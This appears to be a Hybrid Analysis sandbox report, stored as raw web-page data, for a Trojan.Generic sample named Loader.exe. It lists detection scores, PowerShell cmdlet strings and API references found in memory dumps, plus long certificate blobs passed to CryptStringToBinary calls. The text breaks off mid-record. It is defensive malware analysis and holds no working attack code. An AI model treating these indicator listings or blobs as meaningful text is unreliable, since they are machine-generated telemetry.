24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 6c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T490,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 03d95d9ae7b1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 03d95d9ae7b1…. Malware family: Trojan.Generic. Threat score 100/100. 13/24 AV engines flagged this file. 5 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b"],"about":{"@type":"SoftwareApplication","name":"Loader.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":13,"total":24},"behavioralIndicators":{"malicious":5,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T487,Found string "Clear-Host" (Indicator: "Clear-Host"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Clear-Variable" (Indicator: "Clear-Variable"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Clear-Content" (Indicator: "Clear-Content"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Clear-ItemProperty" (Indicator: "Clear-ItemProperty"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Clear-RecycleBin" (Indicator: "Clear-RecycleBin"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Clear-Host" (Indicator: "Clear-Host"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Clear-Content" (Indicator: "Clear-Content"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Clear-ItemProperty" (Indicator: "Clear-ItemProperty"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Clear-Variable" (Indicator: "Clear-Variable"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp")26:T4ab,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp")27:Tdfc,file/memory contains long string with (Indicator: "Export-ModuleMember"; File: "AMSI") Found string "elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'" (Indicator: "Export-ModuleMember"; File: "AMSI") Found string "on_objectModelWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpRollback.cdxml-Help.xml}Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Start-MpRollback' -Alias '*'" (Indicator: "Export-ModuleMember"; File: "AMSI") Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Export-Counter" (Indicator: "Export-Counter"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertFrom-StringData" (Indicator: "ConvertFrom-StringData"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertTo-Csv" (Indicator: "ConvertTo-CSV"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertFrom-Csv" (Indicator: "ConvertFrom-CSV"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Export-Clixml" (Indicator: "Export-Clixml"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertTo-Xml" (Indicator: "ConvertTo-Xml"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertTo-Html" (Indicator: "ConvertTo-Html"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Export-FormatData" (Indicator: "Export-FormatData"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertFrom-Json" (Indicator: "ConvertFrom-Json"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertTo-Json" (Indicator: "ConvertTo-Json"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertFrom-String" (Indicator: "ConvertFrom-String"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertFrom-SecureString" (Indicator: "ConvertFrom-SecureString"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "ConvertTo-SecureString" (Indicator: "ConvertTo-SecureString"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp")28:T19f9,Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00006460-00000BC0-1737347474") Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to "System.Security.Cryptography.HMAC" (Indicator: "HMAC"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp")29:T4285,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAKi/54AHWcDKN7MMgzW+Je4GnjudtlwpnXzX+Iejz1QKCCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004200a8bfe7800759c0ca37b30c8335be25ee069e3b9db65c299d7cd7f887a3cf540a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004200a8bfe7800759c0ca37b30c8335be25ee069e3b9db65c299d7cd7f887a3cf540a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlqAYJKoZIhvcNAQcCoIIlmTCCJZUCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCCGKubREngV5EFDodK5brTAqlkaVHav/M+SkqGWqFKKqCCC2IwggTvMIID16ADAgECAhMzAAAKc/" "cchString": "13262" "dwFlags": "1" "pbBinary": "308225a806092a864886f70d010702a082259930822595020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820b62308204ef308203d7a00302010202133300000a73f154098656107847000000000a73300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034345a170d3234303133313139303034345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100b4ce74c0cad1188cdf8838138bcd067e336adbab396df6edbff6c9c16fd5f86077fa4301be71c2c88fcc329f4fa51cb6a0907c36910f619f29978492eff9f569325132362806c80987d2b33572bb10a144e819aab6526dbc3a1526f42471a861a5eabbe6675438e44c6f02aebf804d09524989c8fa511d9b8921d99c787d031340027828fd8ed86d76bb4db0308641c8efa99874b125e2bb0c57fe982f73c98710921faa12bde5d4eed02573eea92138233578f53c80e59b0b5ecd029b6a19ea6cd2fe5e7c4132ad8bf3c5e7b9d9f50eed1da2b7c26d5c3b89d6bf57ed30cb04f9528f865e8d6312f597a5bc64abbfdf14c89cda8a789a43cd71006c51fbe05d0203010001a382017730820173301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414ad470300e97fa66722d1a34941c284c5a321ce6430540603551d11044d304ba4493047312d302b060355040b13244d6963726f736f6674204972656c616e64204f7065726174696f6e73204c696d69746564311630140603550405130d3233303032382b353030313931301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c" "pcbBinary": "ac250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlqAYJKoZIhvcNAQcCoIIlmTCCJZUCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13262" "dwFlags": "1" "pbBinary": "308225a806092a864886f70d010702a082259930822595020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820b62308204ef308203d7a00302010202133300000a73f154098656107847000000000a73300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034345a170d3234303133313139303034345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100b4ce74c0cad1188cdf8838138bcd067e336adbab396df6edbff6c9c16fd5f86077fa4301be71c2c88fcc329f4fa51cb6a0907c36910f619f29978492eff9f569325132362806c80987d2b33572bb10a144e819aab6526dbc3a1526f42471a861a5eabbe6675438e44c6f02aebf804d09524989c8fa511d9b8921d99c787d031340027828fd8ed86d76bb4db0308641c8efa99874b125e2bb0c57fe982f73c98710921faa12bde5d4eed02573eea92138233578f53c80e59b0b5ecd029b6a19ea6cd2fe5e7c4132ad8bf3c5e7b9d9f50eed1da2b7c26d5c3b89d6bf57ed30cb04f9528f865e8d6312f597a5bc64abbfdf14c89cda8a789a43cd71006c51fbe05d0203010001a382017730820173301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414ad470300e97fa66722d1a34941c284c5a321ce6430540603551d11044d304ba4493047312d302b060355040b13244d6963726f736f6674204972656c616e64204f7065726174696f6e73204c696d69746564311630140603550405130d3233303032382b353030313931301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c" "pcbBinary": "ac250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmgYJKoZIhvcNAQcCoIIlizCCJYcCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCuweDGBKLLkpvRIfNHqlHxBvX6u7A8kK+C53oBAy+VdKCCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259a06092a864886f70d010702a082258b30822587020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420aec1e0c604a2cb929bd121f347aa51f106f5fabbb03c90af82e77a01032f9574a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9e250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlmgYJKoZIhvcNAQcCoIIlizCCJYcCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259a06092a864886f70d010702a082258b30822587020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420aec1e0c604a2cb929bd121f347aa51f106f5fabbb03c90af82e77a01032f9574a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9e250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": 